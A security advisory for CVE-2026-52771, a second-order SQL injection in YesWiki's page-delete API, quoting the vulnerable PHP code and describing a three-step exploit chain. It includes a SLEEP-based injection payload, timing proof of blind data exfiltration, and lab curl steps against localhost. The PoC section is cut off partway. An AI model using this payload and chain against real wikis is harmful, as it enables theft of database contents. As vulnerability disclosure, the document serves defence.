Advisory

GHSA-8f2v-2qhj-gfwg

Also known as: CVE-2026-52771

Summary

YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (ApiController::deletePage)

Details

Summary
ApiController::deletePage() interpolates a page tag retrieved from the database into a DELETE FROM …_links WHERE to_tag = '$tag' query without escaping. The page tag is attacker-controlled — the POST /api/pages/{tag} API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard {{include page="…"}} link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.

This is a classic second-order SQL injection: the INSERT correctly escapes the value, so the malicious tag is stored intact and the input passes every "is this value safe to put in the database?" check; the sink is the *read-back-and-reuse* path, where escaping is omitted.

Details
Affected component

  • File: includes/controllers/ApiController.php
  • Method: ApiController::deletePage($tag)
  • Route: @Route("/api/pages/{tag}", methods={"DELETE"}, options={"acl":{"+"}}) — acl:"+" means *any authenticated user*.
  • Sink: line 626
// includes/controllers/ApiController.php  (v4.6.5 = origin/doryphore-dev HEAD,
// lines 607–631)
public function deletePage($tag)
{
    $pageManager   = $this->getService(PageManager::class);
    $pageController = $this->getService(PageController::class);
    $dbService     = $this->getService(DbService::class);
    ...
    try {
        $page = $pageManager->getOne($tag, null, false);     // (a) safe SELECT
        if (empty($page)) { ... } else {
            $tag = isset($page['tag']) ? $page['tag'] : $tag;//   ^ raw tag from DB
            $result['notDeleted'] = [$tag];
            if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) {
                if (!$pageManager->isOrphaned($tag)) {
                    $dbService->query(
                        "DELETE FROM {$dbService->prefixTable('links')}
                         WHERE to_tag = '$tag'");           // (b) SINK — unescaped
                }
                ...

The same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:

  • tools/tags/handlers/page/__deletepage.php line 14 - DELETE … WHERE to_tag = '$tag', where $tag = $this->GetPageTag() is again the raw stored tag.
  • handlers/page/deletepage.php lines 93–94 - LoadAll('SELECT DISTINCT from_tag FROM …links WHERE to_tag = '" . $this->GetPageTag() . "'"), same pattern as a SELECT instead of a DELETE.

The API path is the easiest sink to reach because it requires only acl:"+" and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler

A low-privilege account can carry the whole chain:

  1. Plant — POST /api/pages/{evil} with body=anything. PageManager::save() escapes the tag at INSERT time ('\'' in SQL ⇒ stored '), so the tag persists with its single quote intact. The new page is owned by the attacker, so UserIsOwner($tag) in the delete handler will return true.
  2. Make non-orphaned — save *any* second page whose body contains {{include page="<evil>"}} through the web edit handler. LinkTracker::preventTrackingActions() parses the include directive, looks up the referenced page (PageManager::getOne() finds it because lookup uses escape(), which matches the stored quote), and LinkTracker::persist() inserts a row (from_tag='Linker', to_tag='<evil>') into _links — again with escape() on the way in, so the raw quote round-trips.
  3. Trigger — DELETE /api/pages/{evil}. The delete handler reads the page (escaped SELECT, finds the row), assigns $tag = $page['tag'] (the raw stored value, including '), runs isOrphaned($tag) (escaped SELECT, returns *not* orphaned because step 2 inserted a row), and then runs the unescaped DELETE FROM …_links WHERE to_tag = '$tag'. The SQL parser sees the attacker-controlled ' as the end of the string literal; everything after it is treated as SQL.

The injection point is WHERE to_tag = '<here>' — any payload of the form <anything>' <SQL>-- works. With time-based primitives (SLEEP), the attacker reads any byte of any row of any table the wiki account can see.

End to End Steps to reproduce the issue

  1. Preflight * lab is up at http://localhost:8085
  2. Logging in * admin 'WikiAdmin' and low-priv 'TestUser01' both logged in
  3. Tier 1 - POST /api/pages/<evil-tag> (as TestUser01) * PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- '
  4. Tier 2 - make the evil page non-orphaned * PROOF: yeswiki_links row → LinkPoc->SleepTag' OR SLEEP(2)--
  5. Tier 2 - DELETE /api/pages/<evil-tag> (as TestUser01) * baseline (non-existent tag) : 0.468s * exploit (SLEEP(2) in tag) : 2.555s * delta : 2.087s * PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626
  6. Tier 3 - time-based blind data exfiltration * char='w' elapsed=0.505s miss * char='x' elapsed=0.495s miss * char='y' elapsed=3.522s <- HIT * char='z' elapsed=0.662s miss * PROOF : conditional SLEEP fired only for 'y'

RESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.

PoC
Pre Reqs

Had the following things setup in advance:

  1. Yeswiki v4.6.5 lab image (Setup via podman)
  2. Admin & User Account setup.

Parts used across PoC:

  • Site responding at http://localhost:8085
  • Admin account: WikiAdmin / AdminPoc12345
  • Low-priv account: TestUser01 / TestPass12345 *(this is the attacker)*

For the rest of this document, set:

BASE="http://localhost:8085"
CTR="yeswiki-poc"
PREFIX="yeswiki_"
CJ=/tmp/yw_user.txt        # cookie jar for our low-priv attacker

Confirm the vulnerable line is actually there:

podman exec "$CTR" \
    grep -n "DELETE FROM.*links.*WHERE to_tag" \
    /var/www/html/includes/controllers/ApiController.php

Expected output:

626: $dbService->query("DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'");

Log in as the low-privilege attacker. We will get the session in return

rm -f "$CJ"
curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" \
     --data-urlencode "action=login"   --data-urlencode "context=LoginPoc" \
     --data-urlencode "name=TestUser01" --data-urlencode "password=TestPass12345" \
     --data-urlencode "remember=1"

# Verify the session is logged in:
SID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' "$CJ" | awk '{print $2}')
podman exec -u root "$CTR" grep '^user|' "/tmp/sess_${SID}"

Plant a page whose tag contains SQL meta-characters.

The Symfony route accepts the default [^/]+ regex for {tag}, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the stored byte string still contains the literal '. That is the seed of the second-order bug.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-07-09 21:00 UTC
Modified
2026-07-09 21:26 UTC

Affected packages and fixes

yeswiki/yeswiki

Packagist · All systems

Affected

  • introduced 4.2.0, fixed 4.6.6 (ecosystem)

Fixed versions

4.6.6

Fix

The export has no generic command for this ecosystem.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences